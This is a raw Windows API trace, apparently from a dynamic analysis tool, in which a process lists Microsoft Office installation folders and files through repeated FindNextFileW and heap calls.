	[0181.389] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0181.389] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0181.396] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0181.396] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0181.398] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0181.398] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0181.401] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0181.401] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0181.406] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x42b4080, Size=0x20000) returned 0x431a0e0
	[0181.760] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x431a0e0, Size=0x40000) returned 0x437a0f0
	[0181.826] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0181.830] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0181.830] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0181.830] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0181.837] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e4098 | out: hHeap=0x6a0000) returned 1
	[0181.837] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="es-es", cAlternateFileName="")) returned 1
	[0181.837] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e4098 | out: hHeap=0x6a0000) returned 1
	[0181.837] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0181.837] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e4098 | out: hHeap=0x6a0000) returned 1
	[0181.837] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="x-none", cAlternateFileName="")) returned 1
	[0181.849] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e4098 | out: hHeap=0x6a0000) returned 1
	[0181.849] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="x-none", cAlternateFileName="")) returned 0
	[0181.849] FindClose (in: hFindFile=0x3cf0ea8 | out: hFindFile=0x3cf0ea8) returned 1
	[0181.850] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0181.850] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0181.852] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ba0f8 | out: hHeap=0x6a0000) returned 1
	[0181.852] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0182.106] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ba0f8 | out: hHeap=0x6a0000) returned 1
	[0182.106] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0182.123] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0182.123] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0182.128] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0182.128] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0182.130] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d4090 | out: hHeap=0x6a0000) returned 1
	[0182.130] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0182.141] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42e4098 | out: hHeap=0x6a0000) returned 1
	[0182.142] FindNextFileW (in: hFindFile=0x3cf0be8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="1036", cAlternateFileName="")) returned 1
	[0182.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ba0f8 | out: hHeap=0x6a0000) returned 1
	[0182.633] FindNextFileW (in: hFindFile=0x3cf0be8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="3082", cAlternateFileName="")) returned 1
	[0182.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ba0f8 | out: hHeap=0x6a0000) returned 1
	[0182.635] FindNextFileW (in: hFindFile=0x3cf0be8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0182.635] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ba0f8 | out: hHeap=0x6a0000) returned 1
	[0182.635] FindNextFileW (in: hFindFile=0x3cf0be8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0182.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43ba0f8 | out: hHeap=0x6a0000) returned 1
	[0182.637] FindNextFileW (in: hFindFile=0x3cf0be8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0183.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.798] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0183.800] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.800] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0183.802] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.802] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0183.805] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.805] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0183.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.809] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0183.811] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.811] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0183.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.813] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0183.816] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.816] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0183.818] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.818] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0183.820] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.820] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0183.822] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.822] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0183.825] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.825] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0183.827] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.827] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0183.830] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0183.830] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0184.193] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.193] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0184.195] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.195] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0184.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
	[0184.197] FindNextFileW (in: hFindFile=0x3cf0f28, lpFindFileData=0x38deb94 | out: lpFindFileData=0x38deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0184.199] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43decf0 | out: hHeap=0x6a0000) returned 1
